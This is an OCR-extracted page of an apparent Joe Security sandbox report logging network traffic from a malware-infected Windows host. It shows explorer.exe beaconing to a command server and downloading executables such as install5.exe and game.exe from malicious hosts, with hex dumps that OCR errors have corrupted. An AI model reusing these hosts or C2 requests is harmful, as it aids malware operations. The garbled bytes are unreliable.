7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe
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Timestamp

Jan 6, 2022
08:09:00.325813055 CET

Jan 6, 2022
08:09:00.403057098 CET

Session ID

2

Timestamp

Session ID

20

Timestamp

Jan 6, 2022
08:09:00.521869898 CET

Jan 6, 2022
08:09:00.612404108 CET

Session ID
21

Timestamp

Jan 6, 2022
08:09:00.812141895 CET

Jan 6, 2022
08:09:00.895792007 CET

Session ID

22

Timestamp

kBytes
transferred

901

901

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3
kBytes

transferred

902

904

Source IP
192.168.2.3

kBytes

transferred
910

911

Source IP

192.168.2.3

kBytes
transferred

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49797

Direction

Source Port

49729

Direction

ouT

Source Port
49732

Direction
ouT

Source Port

49733

Direction

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://hwjxhmokn.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 254

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

67.199.248.10 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kccrowjwfg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 259

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:00 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 33 37 0d Oa 02 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e d6 1e 52 25 40 a3 5 c2 ea fb 5f f5 4d
8b 2d e4 04 08 c7 5¢c a5 ba 7a ae 2e 54 Oa e3 f0 d8 4b fc 05 d4 43 0d Oa 30 0d Oa 0d Oa

Data Ascii: 371:820R%@_M-\z.TKCO

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://qgokbfpqu.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 185

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:00 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

Page 40 of 83



Timestamp

Jan 6, 2022
08:09:01.011826038 CET

Jan 6, 2022
08:09:01.098687887 CET

Session ID

23

Timestamp

Jan 6, 2022
08:09:01.423150063 CET

Jan 6, 2022
08:09:01.440956116 CET

Session ID
24

Timestamp

Jan 6, 2022
08:09:01.523102999 CET

Jan 6, 2022
08:09:01.607800961 CET

Session ID
25

Timestamp

Jan 6, 2022
08:09:02.032659054 CET

kBytes
transferred

917

917

Source IP

192.168.2.3

kBytes
transferred

930

931

Source IP
192.168.2.3

kBytes
transferred

961

961

Source IP
192.168.2.3

kBytes
transferred

974

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49734

Direction

ouT

Source Port
49735

Direction
ouT

Source Port
49737

Direction

ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http:/lyavevdmq.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 136

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:01 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 65 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d4 89 4f 04 7e 02 fc a9 8d b6 e4 05 ab
Oc 91 6b b9 45 4b 95 09 fd bc 67 €5 32 50 0d 0a 30 0d Oa 0d Oa

Data Ascii: 2el:8200~kEKg2P0

Destination IP Destination Port Process

54.38.220.85 80 C:\Windows\explorer.exe

Data

GET /install5.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: unicupload.top

HTTP/1.1 404 Not Found

Server: nginx/1.14.0 (Ubuntu)

Date: Thu, 06 Jan 2022 07:07:52 GMT

Content-Type: text/html

Content-Length: 178

Connection: keep-alive

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 20 62 67 63 6f 6¢ 6f 72 3d 22 77 68 69 74 65 22 3e 0d Oa 3¢
63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa
3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74
65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1>
</center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ysykmivov.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 152

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://qtrno.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 178

Host: host-data-coin-11.com
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Timestamp

Jan 6, 2022
08:09:02.117151976 CET

Session ID

26

Timestamp

Jan 6, 2022
08:09:02.258229971 CET

Jan 6, 2022
08:09:02.336087942 CET

Session ID
27

Timestamp

Jan 6, 2022
08:09:02.418086052 CET

Jan 6, 2022
08:09:02.509129047 CET

Session ID

28

Timestamp

Jan 6, 2022
08:09:02.884784937 CET

kBytes
transferred

1012

Source IP

192.168.2.3

kBytes
transferred

1052

1057

Source IP
192.168.2.3

kBytes
transferred

1058

1060

Source IP

192.168.2.3

kBytes
transferred

1072

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49739

Direction

ouT

Source Port
49740

Direction
ouT

Source Port

49743

Direction

ouT

Data

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://alewchcr.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 199

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:02 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e3c 616464 72657373 3e41 7061 6368 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP  Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dnimmbdk.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 197

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:02 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 33 30 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12
93 3a f9 55 50 99 4a f6 €8 24 e5 64 50 06 b9 0d Oa 30 0d Oa 0d Oa

Data Ascii: 301:820R&:UPJ$dPO

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

GET /game.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com
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kBytes

Timestamp transferred Direction Data
Jan 6, 2022 1074 IN HTTP/1.1 200 OK
08:09:02.946435928 CET Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:02 GMT

Content-Type: application/x-msdos-program

Content-Length: 309760

Connection: close

Last-Modified: Thu, 06 Jan 2022 07:09:02 GMT

ETag: W/"4ba00-5d4e48b866eed"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 fd da db ac b9 bb b5 ff b9 bb b5 ff b9 bb b5 ff a7 €9 20 ff a8 bb b5 ff a7 €9 36 ff ca
bb b5 ff 9e 7d ce ff ba bb b5 ff b9 bb b4 ff 7d bb b5 ff a7 €9 31 ff 80 bb b5 ff a7 e9 21 ff b8 bb b5 ff a7 €9 24 ff b8 bb b5 ff
52 69 63 68 b9 bb b5 ff 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 80 04 9a 60 00 00 00 00 00 00 00 00 e0 00 02
01 0b 01 09 00 00 cO 03 00 00 04 02 00 00 00 00 00 fO d4 01 00 00 10 00 00 00 dO 03 00 00 00 40 00 00 10 00 00 00 02
00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 b1 8d 05 00 02 00 00 80 00 00 10 00 00
10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 74 be 03 00 28 00 00 00 00 40 05 00
1890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 84 1b 00 00 20 13 00 00 1c 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8a 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10
00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1le
bf 03 00 00 10 00 00 00 cO 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00
04 20 01 00 00 dO 03 00 00 14 00 00 00 c4 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 6d 6f 6e 61 67 00
00 05 00 00 00 00 00 05 00 00 02 00 00 00 d8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 6a 6f 70 61 76
69 00 4b 00 00 00 00 10 05 00 00 02 00 00 00 da 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 6a 61 73 00
00 00 00 ea 00 00 00 00 20 05 00 00 02 00 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 6a 61 76
65 66 61 00 93 0d 00 00 00 30 05 00 00 Oe 00 00 00 de 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73
72 63 00 00 00 18 90 00 00 00 40 05 00 00 92 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72
65 6¢ 6f 63 00 00 Oc 3a 00 00 00 e0 05 00 00 3c 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 70 c1 03 00 82 ¢1 03 00 94 c1 03 00 aa c1 03 00 ba c1 03 00 ca c1 03 00 e6 c1 03 00 fa c1 03 00 Oe c2 03
00 1le c2 03 00 38 c2 03 00 52 c2 03 00 6a c2 03

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ 6}}1!$RichPEL"@ t(@ 8@.text ".data @.monag@.jopaviK
@.jas @.javefa0@.rsrc@@ @.reloc:<~@Bp8Rj

Session ID Source IP Source Port Destination IP Destination Port Process
29 192.168.2.3 49749 139.28.222.172 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Jan 6, 2022 1695 ouT POST / HTTP/1.1
08:09:04.989206076 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://tixiicao.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 113

Host: host-data-coin-11.com

Jan 6, 2022 1696 IN HTTP/1.1 404 Not Found

08:09:05.069391012 CET Server: nginx/1.20.1
Date: Thu, 06 Jan 2022 07:09:05 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c¢ 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e41 7061 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa
Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Session ID Source IP Source Port Destination IP Destination Port Process

3 192.168.2.3 49798 67.199.248.15 443 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data
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Session ID Source IP
30 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 1697

08:09:05.187225103 CET

Jan 6, 2022 1699
08:09:05.273957968 CET

Session ID Source IP
31 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 1705

08:09:05.354585886 CET

Jan 6, 2022 1705
08:09:05.434465885 CET

Session ID Source IP
32 192.168.2.3

kBytes
Timestamp transferred
Jan 6, 2022 1719

08:09:05.521389961 CET

Jan 6, 2022 1745
08:09:05.601773977 CET

Copyright Joe Security LLC 2022

Source Port

49750

Direction

ouT

Source Port

49752

Direction

ouT

Source Port
49753

Direction
ouT

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vienyfn.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 339

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

139.28.222.172 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://kiwemmabtp.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 151

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:05 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close

Destination IP  Destination Port Process
139.28.222.172 80 C:\Windows\explorer.exe

Data

POST / HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://nipku.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 332

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Thu, 06 Jan 2022 07:09:05 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 32 62 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46
86 32 ef 06 10 c2 4b el el 39 0d Oa 30 0d Oa 0d Oa

Data Ascii: 2bl:8201<\FF2K90
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Session ID Source IP Source Port Destination IP Destination Port Process

33 192.168.2.3 49754 185.7.214.171 8080 C:\Windows\explorer.exe
kBytes

Timestamp transferred Direction Data

Jan 6, 2022 1892 ouT GET /6.php HTTP/1.1

08:09:05.679476023 CET Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: 185.7.214.171:8080

Jan 6, 2022 1912 IN HTTP/1.1 200 OK

08:09:05.744879007 CET Date: Thu, 06 Jan 2022 07:09:05 GMT
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Content-Transfer-Encoding: Binary
Content-disposition: attachment; filename="ojkhtjp28dwp55.exe"
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: application/octet-stream
Data Raw: 34 61 65 30 30 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 Oe 1f ba Oe
00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20
44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 fd da db ac b9 bb b5 ff b9 bb b5 ff b9 bb b5 ff a7 €9 20 ff a8
bb b5 ff a7 €9 36 ff ca bb b5 ff 9e 7d ce ff ba bb b5 ff b9 bb b4 ff 7d bb b5 ff a7 €9 31 ff 80 bb b5 ff a7 €9 21 ff b8 bb b5 ff
a7 e9 24 ff b8 bb b5 ff 52 69 63 68 b9 bb b5 ff 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 2f b2 99 60 00 00 00 00
00 00 00 00 €0 00 02 01 Ob 01 09 00 00 b4 03 00 00 04 02 00 00 00 00 00 50 ¢9 01 00 00 10 00 00 00 dO 03 00 00 00 40
00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 20 06 00 00 04 00 00 97 6d 05 00 02 00
00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 b2 03 00 28
00 00 00 00 40 05 00 18 90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €0 05 00 78 1b 00 00 20 13 00 00
1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 8a 00 00 40 00 00 00 00 00 00
00 00 00 00 00 00 10 00 00 d4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74
65 78 74 00 00 00 7e b3 03 00 00 10 00 00 00 b4 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e
64 61 74 61 00 00 00 04 20 01 00 00 dO 03 00 00 14 00 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO
2e 78 6f 67 75 68 69 74 05 00 00 00 00 00 05 00 00 02 00 00 00 cc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00
c0 2e 76 61 6b 6f 72 75 70 4b 00 00 00 00 10 05 00 00 02 00 00 00 ce 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00
00 c0 2e 67 69 6¢ 69 6a 65 6e ea 00 00 00 00 20 05 00 00 02 00 00 00 dO 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40
00 00 c0 2e 62 75 76 61 00 00 00 93 0d 00 00 00 30 05 00 00 Oe 00 00 00 d2 03 00 00 00 00 00 00 00 00 00 00 00 00 00
